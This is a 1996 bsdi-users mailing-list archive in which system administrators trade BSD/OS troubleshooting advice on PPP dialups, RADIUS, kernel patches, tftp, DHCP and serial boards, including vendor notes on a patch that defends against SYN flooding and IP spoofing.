nil nil nil nil nil nil] ["1695" "Tue" "12" "November" "1996" "08:09:26" "+0000" "Mike Grommet" "mgrommet@insolwwb.net" nil "40" "Re: PPP + Client Dialups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA18375 for ; Tue, 12 Nov 1996 13:46:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA07452 for bsdi-users-outgoing; Tue, 12 Nov 1996 13:37:19 -0500 (EST) Message-Id: <199611121352.HAA13127@ns.insolwwb.net> Comments: Authenticated sender is X-mailer: Pegasus Mail for Windows (v2.33) Precedence: bulk From: "Mike Grommet" Sender: owner-bsdi-users@lists.gateway.com To: internex@pcrealm.net CC: bsdi-users@BSDI.COM Subject: Re: PPP + Client Dialups Date: Tue, 12 Nov 1996 08:09:26 +0000 > Hello everone, I was just wondering... Is there any way to have PPP on BSDi 2.1 work better with > Windows PPP Users? right now we have an NT machine taking care of all of our normal dialups, > but I would much rather use BSDi, except that Windows machines do not work correctly at dialing > up unless scripts are made... is there any way to make it so windows machines connect more > easily? > > Thanks for any input... > > Greg Wiktor Senior System Administrator > _____________________________________________________________________ > Advantech PC Realm Internet Services (WWW.PCREALM.NET) > 60 Welcher Avenue > Peekskill, NY 10566 > Tel: 914-736-7300 Fax: 914-736-7024 > E-Mail: > INTERNEX@PCREALM.NET (PRIMARY) > INTERNEX@ADVINC.COM > INTERNEX@LANLINE.COM > ______________________________________________________________________ > -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- > > The only option we had before going to usr total control units and a radius server was to have the users bring up their terminal window after dialing. This meant they had to physically enter their log in name and password and then press f7 to continue to finish connecting. I wonder if BSDI 3.0 is going to support going straight to PPP? If anyone mentions a better option to you please let me know! Mike Grommet System Administrator & Web Page Designer Internet Solutions, Inc. mgrommet@insolwwb.net "As long as there are tests, there will always be prayer in schools." -- Unknown, but probably a student :) From VM Tue Nov 12 20:17:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["778" "Tue" "12" "November" "1996" "08:33:46" "-0500" "Brian Hess" "brian@usaor.net" nil "27" "Re: RADIUS & BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA18663 for ; Tue, 12 Nov 1996 14:01:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA07509 for bsdi-users-outgoing; Tue, 12 Nov 1996 13:56:26 -0500 (EST) In-Reply-To: Message-ID: X-X-Sender: brian@gate.usaor.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Hess Sender: owner-bsdi-users@lists.gateway.com To: Stavros Patiniotis cc: bsdi-users@BSDI.COM Subject: Re: RADIUS & BSDI Date: Tue, 12 Nov 1996 08:33:46 -0500 () On Tue, 12 Nov 1996, Stavros Patiniotis wrote: > What's the NAS-Port-Type for??? > > > DEFAULT Auth-Type = System > > User-Service-Type = Framed-User, > > Framed-Protocol = PPP, > > Framed-Address = 255.255.255.254, > > Framed-Netmask = 255.255.255.0, > > Framed-Routing = None, > > NAS-Port-Type = Async, > > Framed-MTU = 1500, > > Framed-Compression = Van-Jacobsen-TCP-IP It prevents my ISDN customers from using my analog modem pool and vice versa. See http://www.livingston.com/Tech/Docs/RADIUS/guide/4user.shtml and look at the User Entry Check adn Reply Items. --brian ---------- Brian Hess Network Administrator Phone: 412-391-4382 USA OnRamp Email: brian@usaor.net From VM Tue Nov 12 20:17:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["685" "Tue" "12" "November" "1996" "09:03:16" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "18" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA19208 for ; Tue, 12 Nov 1996 14:19:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA07553 for bsdi-users-outgoing; Tue, 12 Nov 1996 14:16:21 -0500 (EST) X-Sender: jsd@ramona Message-Id: In-Reply-To: <199611120045.TAA02875@home.pcrealm.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Jon Drukman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Tracking Usage Date: Tue, 12 Nov 1996 09:03:16 -0800 At 8:43 PM -0800 11/11/96, BSDI Mail wrote: >>> Hello there, I downloaded and attempted to compile trafshow 2.0, and I >>>get the following error: yep, i got it too. there is no definition folr SLIP_HDRLEN in any of the include files that i could fine, so i just did #define SLIP_HDRLEN 1 in interfaces.c. it works without a hitch now. i suppose if you are actually using slip, this will cause serious problems, but i'm not using slip, so i don't care. ------------------------------------------------------------------------- Jon Drukman jsd@cyborganic.com ------------------------------------------------------------------------- From VM Tue Nov 12 20:17:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["142" "Tue" "12" "November" "1996" "11:39:31" "-0700" "Merton Campbell Crockett" "mcc@wlv.iipo.gtegsc.com" nil "5" "Macintosh Application Environment (MAE)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA20604 for ; Tue, 12 Nov 1996 15:07:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA07619 for bsdi-users-outgoing; Tue, 12 Nov 1996 14:52:36 -0500 (EST) Message-Id: <961112113934.ZM3302@MCC.IIPO.GTEGSC.COM> X-Mailer: Z-Mail 4.0.1 (4.0.1 Apr 9 1996) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: mcc@wlv.iipo.gtegsc.com (Merton Campbell Crockett) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Macintosh Application Environment (MAE) Date: Tue, 12 Nov 1996 11:39:31 -0700 I know this sounds sick but is there a port of the Macintosh Application Environment (MAE) for BSD/OS 2.1 or 3.0? Merton Campbell Crockett From VM Tue Nov 12 20:17:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["579" "Tue" "12" "November" "1996" "15:33:06" "-0500" "Richard Chen" "richard@beaker.med.yale.edu" nil "22" "csh on bsd/os is different from others?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21455 for ; Tue, 12 Nov 1996 15:45:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA07701 for bsdi-users-outgoing; Tue, 12 Nov 1996 15:33:27 -0500 (EST) Message-Id: <2.2.16.19961112203306.1dd7088e@beaker.med.yale.edu> X-Sender: richard@beaker.med.yale.edu X-Mailer: Windows Eudora Pro Version 2.2 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Richard Chen Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: csh on bsd/os is different from others? Date: Tue, 12 Nov 1996 15:33:06 -0500 On sunos, solaris and irix csh, one can do something like % ls !20^ which will be expanded so that the first argument on the command line 20 is substituted. On bsd/os csh, the same procedure does not work anymore. The message is !20^: Event not found It seems that bsd/os csh does not support this particular command line editing. I would like to get confirmation from others that this is not due to my csh setup, but really is the behavior of csh on bsd/os. Thanks. --------------------------- Q. Richard Chen Yale-New Haven Hospital richard@beaker.med.yale.edu  From VM Tue Nov 12 20:17:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["522" "Tue" "12" "November" "1996" "19:21:35" "+1100" "Timothy L. Minahan" "webby@is-1.net.au" nil "19" "Changing a Password Online" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA21989 for ; Tue, 12 Nov 1996 16:02:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA07755 for bsdi-users-outgoing; Tue, 12 Nov 1996 16:00:35 -0500 (EST) Message-Id: <199611120803.TAA08552@server.is-1.net.au> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Timothy L. Minahan" Sender: owner-bsdi-users@lists.gateway.com To: Cc: Subject: Changing a Password Online Date: Tue, 12 Nov 1996 19:21:35 +1100 Hello World, I have just set up my own ISP and am having a major problem creating a HTML form to allow users to use the "/usr/var/www/cgi-bin/change-passwd" file. I've looked at the source and can find no use for the argc and argv commands used Any help would be greatly appreciated ---------------------------------------------------------------------------- ----------------------------------- IS-1 Internet Service Provider - When speed is just as important as accuracy Timothy L. Minahan webmaster@is-1.net.au From VM Tue Nov 12 20:17:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1523" "Tue" "12" "November" "1996" "14:01:39" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "54" "Re: Trouble installing patches " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA21994 for ; Tue, 12 Nov 1996 16:03:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA07761 for bsdi-users-outgoing; Tue, 12 Nov 1996 16:01:58 -0500 (EST) Message-Id: <199611122101.OAA00676@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Sun, 03 Nov 1996 15:58:27 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Jim Hribnak cc: bsdi-users@BSDI.COM Subject: Re: Trouble installing patches Date: Tue, 12 Nov 1996 14:01:39 -0700 Jim Hribnak writes: > > >I just installed the K210-019 patch and it tells me to enter in options >INET_SERVER into my config file and re-run config.. Well I have done this >and get the following error when doing a MAKE (after going through all the >previous steps on page 140 and 141 of the manaul./ > > >../../netinet/in_proto.c:358: redefinition of `tcp_listen_hash_size' >../../netinet/in_proto.c:346: here is the previous declaration of >`tcp_listen_hash_size' >../../netinet/in_proto.c:359: redefinition of `tcp_conn_hash_size' >../../netinet/in_proto.c:347: here is the previous declaration of >`tcp_conn_hash_size' >*** Error code 1 > > >Why is the above error coming up when I try and re-build my kernel? >Someone get back to me please.. Thanks!~ > > >Jim > Jim: I had this happen to me. It looks like you installed K210-019 twice. This patch doesn't seem to recognize that it has already been installed so you get these redefinition messages. To fix this # cd /sys/netinet # vi +346 in_proto.c You will find two copied of the following block of lines: #ifndef INET_SERVER #define TCP_LISTEN_HASH_SIZE 17 #define TCP_CONN_HASH_SIZE 97 #else #define TCP_LISTEN_HASH_SIZE 97 #define TCP_CONN_HASH_SIZE 9973 #endif int tcp_listen_hash_size = TCP_LISTEN_HASH_SIZE; int tcp_conn_hash_size = TCP_CONN_HASH_SIZE; struct tcp_hash_list tcp_listen_hash[TCP_LISTEN_HASH_SIZE], tcp_conn_hash[TCP_CONN_HASH_SIZE]; Delete one of these copies, save the file, and build a kernel. -Bill N From VM Tue Nov 12 20:17:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["696" "Tue" "12" "November" "1996" "13:04:13" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "29" "Re: ftp error messages" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA22066 for ; Tue, 12 Nov 1996 16:09:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA07771 for bsdi-users-outgoing; Tue, 12 Nov 1996 16:04:43 -0500 (EST) Message-Id: <3.0.32.19961112130123.0077a1d0@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0 Demo (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Marius Kirschner Cc: bsdi-users@BSDI.COM Subject: Re: ftp error messages Date: Tue, 12 Nov 1996 13:04:13 -0800 At 09:45 AM 11/12/96 -0500, Marius Kirschner wrote: >Can somebody shed some light on what the following error messages >mean? > >recv: Blocking call cancelled >rl-recv: Blocking call cancelled >DoDirList returned 0 >DoDirList returned 4 > >I have a user who has one heck of a time connecting to our ftp server >and those are the messages he keeps getting on various attempts. >Thanks, > ---Marius > > The most common issue that used to cause this type of error was a slow serial port. Data overruns, dirty lines or trying to run faster than your hardware can support should be looked for/at. -- All opinions either expressed or implied in the above noise are strictly my own. -Kent- From VM Tue Nov 12 20:17:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["442" "Tue" "12" "November" "1996" "16:20:48" "-0500" "Bill Warner" "lww@ictech.com" nil "12" "Re: Tracking Usage " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA22820 for ; Tue, 12 Nov 1996 16:33:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA07803 for bsdi-users-outgoing; Tue, 12 Nov 1996 16:21:31 -0500 (EST) Message-Id: <199611122120.QAA14201@eagle.ictech.com> In-reply-to: Your message of "Tue, 12 Nov 1996 09:03:16 PST." Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Jon Drukman cc: bsdi-users@BSDI.COM Subject: Re: Tracking Usage Date: Tue, 12 Nov 1996 16:20:48 -0500 Jon Drukman writes: >yep, i got it too. there is no definition folr SLIP_HDRLEN in any of the >include files that i could fine, so i just did #define SLIP_HDRLEN 1 in >interfaces.c. it works without a hitch now. i suppose if you are actually >using slip, this will cause serious problems, but i'm not using slip, so i >don't care. /usr/src/sys/net/slip.h: #define SLIP_HDRLEN 16 /* BPF SLIP header length */ Bill From VM Tue Nov 12 20:17:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4429" "Tue" "12" "November" "1996" "14:41:43" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "117" "Re: All Patches installed and now problems arise " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23100 for ; Tue, 12 Nov 1996 16:45:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA07835 for bsdi-users-outgoing; Tue, 12 Nov 1996 16:42:02 -0500 (EST) Message-Id: <199611122141.OAA00817@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Thu, 07 Nov 1996 15:26:39 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Jim Hribnak cc: bsdi-users@BSDI.COM, billn@tao.bsdi.com Subject: Re: All Patches installed and now problems arise Date: Tue, 12 Nov 1996 14:41:43 -0700 Jim Hribnak writes: > > >Since Sunday I had to install patches K210-018 - onward becaue someone was >SYN flooding our web server and taking it down every time we rebooted the >web server.. > >Since the patch install I have noticed weird things happening (like CPU >utilization going through the roof, system rEBOOTS on its own etc) > >I have a feeling it has something to do with the patches but WHICH one is >the question.. I know we are still getting attacked > >Nov 7 15:07:16 nucleus kernel: packet from 127.71.186.57 to 199.45.65.129 >proto 6 received on ef0; expected lo0 > > >I am am getting the above in the messages file quite frequently > >Does anyone have any suggestions as to if the attacks are causing the unix >machine to over load and then reboot?!?!?!?! > > >Jim Jim: The messages are telling you that you are getting packets from 127.71.186.57, but you do not have a route to 127.71.186.57 out ef0. The system is dropping these packets and notifying you. Where are these packets comming from? Are they part of the suspected SYN flooding attack? I haven't heard of theses attacks causing crashes, overloads, or reboots. They can cause 'denial of service'. They can use up all the available network memory buffers and make it impossible for new valid network connections to made. -Bill N P.S. The messages come from patch K210-021. PATCH: K210-021 SUMMARY: This patch adds two networking features that can help defeat and detect some types of denial of service attacks. The first feature is a limit on the number of fragmented IP packets in the IP reassembly queue. The default limit is 200 and can be changed with the sysctl(8) variable "net.inet.ip.maxfragpackets". To change the limit of the number of packets on the IP reassembly queue add a command like the following to the end of /etc/netstart. This example would reduce the limit on outstanding fragments to 100: sysctl -w net.inet.ip.maxfragpackets=100 The second feature is an optional test to insure that packets are received on the expected interface. This feature looks up the route back to the source of received IP packets. If there is no route to the source available, or the packet did not arrive on the expected interface the packet is discarded. The expected interface is the one that would be used to send a packet back to the reported source of the packet. IP source address verification should not be used when concurrent alternate paths exist from the BSD/OS system where this feature is enabled, as this may cause valid packets to be discarded. For example, a small ISP that has one connection to a backbone network and one connection to each of it's clients could enable this feature. If the same ISP has two connections to a backbone network, or one connection to each of two backbone networks they should not enable this feature. IP source address verification is an valuable tool for protecting against some forms of IP-spoofing as described in CERT advisory CA 96.21, "TCP SYN Flooding and IP Spoofing Attacks". The full text of this advisory is available as ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding. If you are a service provider, using IP source verification will protect your customers against attacks from the Internet which appear to be coming from your customers' networks, and it will ensure that packets sent from your customers' networks have a source address on your customers' networks (preventing them from spoofing source addresses and/or attacking others). This feature is enabled via the "net.inet.ip.sourcecheck" sysctl(8) variable or by adding the "IPSOURCECHECK" option when building a kernel. For example, to enable IP source address verification, add the following command to the end of /etc/netstart: sysctl -w net.inet.ip.sourcecheck=1 The IP source address verification code will log a message when discarding a packet. To prevent a large number of these packets from using an excessive amount of disk space log messages are limited to one per IP address per time interval. The time interval defaults to five seconds and may be configured with the "net.inet.ip.sourcecheck_logint" sysctl(8) variable. A value of zero disables the time interval. This patch requires U210-025 which provides new copies of sysctl(8) and netstat(1) for configuration and monitoring of these new features. From VM Tue Nov 12 20:17:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1306" "Tue" "12" "November" "1996" "14:48:13" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "39" "Re: PPP + Client Dialups " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23110 for ; Tue, 12 Nov 1996 16:48:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA07863 for bsdi-users-outgoing; Tue, 12 Nov 1996 16:48:41 -0500 (EST) Message-Id: <199611122148.OAA00852@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Mon, 11 Nov 1996 22:16:38." <199611120218.VAA03286@home.pcrealm.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: "System Administrator - Greg Wiktor" cc: bsdi-users@BSDI.COM Subject: Re: PPP + Client Dialups Date: Tue, 12 Nov 1996 14:48:13 -0700 "System Administrator - Greg Wiktor" writes: >Hello everone, I was just wondering... Is there any way to have PPP on BSDi 2. >1 work better with >Windows PPP Users? right now we have an NT machine taking care of all of our >normal dialups, >but I would much rather use BSDi, except that Windows machines do not work cor >rectly at dialing >up unless scripts are made... is there any way to make it so windows machines >connect more >easily? > >Thanks for any input... > >Greg Wiktor Senior System Admi >nistrator >_____________________________________________________________________ >Advantech PC Realm Internet Services (WWW.PCREALM.NET) >60 Welcher Avenue >Peekskill, NY 10566 >Tel: 914-736-7300 Fax: 914-73 >6-7024 >E-Mail: > INTERNEX@PCREALM.NET (PRIMARY) > INTERNEX@ADVINC.COM > INTERNEX@LANLINE.COM >______________________________________________________________________ >-IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- Greg: I hear that scripts are the way to go for Win95. Can you get them from MS? They are on the WinNT 4.0. BSDI will support PAP + CHAP authentication in 3.0 so scripts won't be necessary. -Bill N From VM Tue Nov 12 20:17:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["987" "Tue" "12" "November" "1996" "14:50:43" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "45" "Re: tftp access violations " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23380 for ; Tue, 12 Nov 1996 16:52:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA07882 for bsdi-users-outgoing; Tue, 12 Nov 1996 16:50:56 -0500 (EST) Message-Id: <199611122150.OAA00877@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Fri, 08 Nov 1996 15:15:17 PST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Steve Edwards cc: bsdi-users@BSDI.COM Subject: Re: tftp access violations Date: Tue, 12 Nov 1996 14:50:43 -0700 Steve Edwards writes: >Why am I getting this error when trying to tftp upload a file to my 2.1 host? > >Error code 2: Access violation > >Here's what I've done: > >1) Added the following to /etc/inetd.conf: > tftp dgram udp wait nobody /usr/libexec/tftpd tftpd -l /tftpboot > > This is supposed to be the non-tcpd format. > >2) Send a HUP to inetd. (I also tried kill -9.) > >3) Create the tftpboot directory > cd / > mkdir tftpboot > chown root:wheel tftpboot > chmod 777 tftpboot > >4) Create the file I want to upload into: > echo "" >ttt > chown root:wheel ttt > chmod 777 ttt > >5) Download the file to make sure everything is setup correctly: > echo get ttt | tftp tower > >5) Attempt to upload the file: > echo put ttt | tftp tower > >This is where I get "Error code 2: Access violation." /var/log/ftp.log >just says "write request for ttt: Access violation." > >What am I doing wrong? > >Steve Edwards >sedwards@cts.com Steve: Have you tried 'put ttt /tftpboot/ttt'? -Bill N From VM Tue Nov 12 20:17:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["970" "Tue" "12" "November" "1996" "15:16:13" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "31" "Re: DHCP for BSDI?? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24218 for ; Tue, 12 Nov 1996 17:27:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA07950 for bsdi-users-outgoing; Tue, 12 Nov 1996 17:16:29 -0500 (EST) Message-Id: <199611122216.PAA01049@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Thu, 07 Nov 1996 14:30:12 EST." <9610078474.AA847405812@mmt.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: gfrick@mmt.com (Frick, Gregory) cc: bsdi-users@BSDI.COM Subject: Re: DHCP for BSDI?? Date: Tue, 12 Nov 1996 15:16:13 -0700 Frick, Gregory writes: > I would like to configure a BSDI computer with two NIC's have one > obtain an IP address from an ISP that uses DHCP. I would then like to > conect the other NIC to a small private TCP/IP network. > > I need all traffic from the private network to communicate with the > ISP using the IP address assigned by the ISP. > > Any idea's? Do I need to use Windows95 or Windows NT?? > > Thanks, > > Greg Frick > Waltham, MA I haven't tried it but there is a dhcpc command. Here are all the reference I can find in the man pages. $ man -k dhc dhcpc (8) - DHCP client (finite state machine version) dhcpdb.pool (5) - Database of DHCP address pool dhcpdb.relay (5) - database which lists relay agents dhcpdb.server (5) - The database file which lists DHCP servers dhcpm (8) - DHCP (BOOTP) message monitoring tool dhcps (8) - DHCP server daemon relay (8) - DHCP (BOOTP) relay agent -Bill N From VM Tue Nov 12 20:17:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["506" "Tue" "12" "November" "1996" "14:37:11" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "16" "Digiboard Configuration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24245 for ; Tue, 12 Nov 1996 17:31:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA07951 for bsdi-users-outgoing; Tue, 12 Nov 1996 17:16:34 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Digiboard Configuration Date: Tue, 12 Nov 1996 14:37:11 -0800 (PST) Ok. I have a digi 16EM digiboard and card. I have configured my /sys/i386/conf/LOCAL file to read the correct port and io address and recompiled. I have put the following command into my /etc/rc.local directory: /usr/sbin/digisetup -l 16 /dev/ttyA00 and my devices all appear in my /etc/ttys directory: ttyA00 "/usr/libexec/gety bidir.38400-hf" vt 100 on. What the heck am I leaving out? I am running BSD 2.1. Any information would be greatly appreciated. Thanks in advance. Chris McGlasson From VM Tue Nov 12 20:17:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1359" "Tue" "12" "November" "1996" "15:39:58" "-0800" "Steve Edwards" "sedwards@cts.com" nil "58" "Re: tftp access violations " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24513 for ; Tue, 12 Nov 1996 17:42:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA07998 for bsdi-users-outgoing; Tue, 12 Nov 1996 17:40:41 -0500 (EST) In-Reply-To: <199611122150.OAA00877@tao.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Steve Edwards Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode cc: bsdi-users@BSDI.COM Subject: Re: tftp access violations Date: Tue, 12 Nov 1996 15:39:58 -0800 (PST) > Have you tried 'put ttt /tftpboot/ttt'? Yes, and it does work. But, it is not what is desired. How do I configure tftpd to upload to a directory (any directory) without having to specify the path? On Tue, 12 Nov 1996, Bill Nestlerode wrote: > Steve Edwards writes: > >Why am I getting this error when trying to tftp upload a file to my 2.1 host? > > > >Error code 2: Access violation > > > >Here's what I've done: > > > >1) Added the following to /etc/inetd.conf: > > tftp dgram udp wait nobody /usr/libexec/tftpd tftpd -l /tftpboot > > > > This is supposed to be the non-tcpd format. > > > >2) Send a HUP to inetd. (I also tried kill -9.) > > > >3) Create the tftpboot directory > > cd / > > mkdir tftpboot > > chown root:wheel tftpboot > > chmod 777 tftpboot > > > >4) Create the file I want to upload into: > > echo "" >ttt > > chown root:wheel ttt > > chmod 777 ttt > > > >5) Download the file to make sure everything is setup correctly: > > echo get ttt | tftp tower > > > >5) Attempt to upload the file: > > echo put ttt | tftp tower > > > >This is where I get "Error code 2: Access violation." /var/log/ftp.log > >just says "write request for ttt: Access violation." > > > >What am I doing wrong? > > > >Steve Edwards > >sedwards@cts.com > > Steve: > Have you tried 'put ttt /tftpboot/ttt'? > > -Bill N > > Steve Edwards sedwards@cts.com From VM Tue Nov 12 20:17:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2728" "Tue" "12" "November" "1996" "16:44:49" "-0600" "Jeffrey J. Libman" "jeffrl@wantabe.com" nil "89" "RE: PPP + Client Dialups " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24785 for ; Tue, 12 Nov 1996 17:51:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA08021 for bsdi-users-outgoing; Tue, 12 Nov 1996 17:47:59 -0500 (EST) Message-ID: <01BBD0B9.5AE67340@jeffrl.wantabe.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: Jeffrey J Libman Sender: owner-bsdi-users@lists.gateway.com To: System Administrator - Greg Wiktor , "'Bill Nestlerode'" Cc: "bsdi-users@BSDI.COM" Subject: RE: PPP + Client Dialups Date: Tue, 12 Nov 1996 16:44:49 -0600 get it from my anonymous ftp site! ftp.wantabe.com then = /pub/win95/script.exe place it in its own folder, execute it (self extracting, otherwise = brainless). use control panel->add/remove programs->windows setup->have = disk->browse, then select the folder with script stuff in it. select = ok/ok then put a check in the box by slip/dial-up scripting tool, then = click install. there is a wantabe.scp, which this install does not copy. if you want to = use it or one like it, rename it, edit it, then copy the new .scp file = to program files/accessories. hope this helps. cheers, jeff -------------------- "Well, that was a piece of cake, eh K-9?" "Piece of cake, Master? Radial slice of baked confection ... = coefficient of relevance to Key of Time: zero." -- Dr. Who 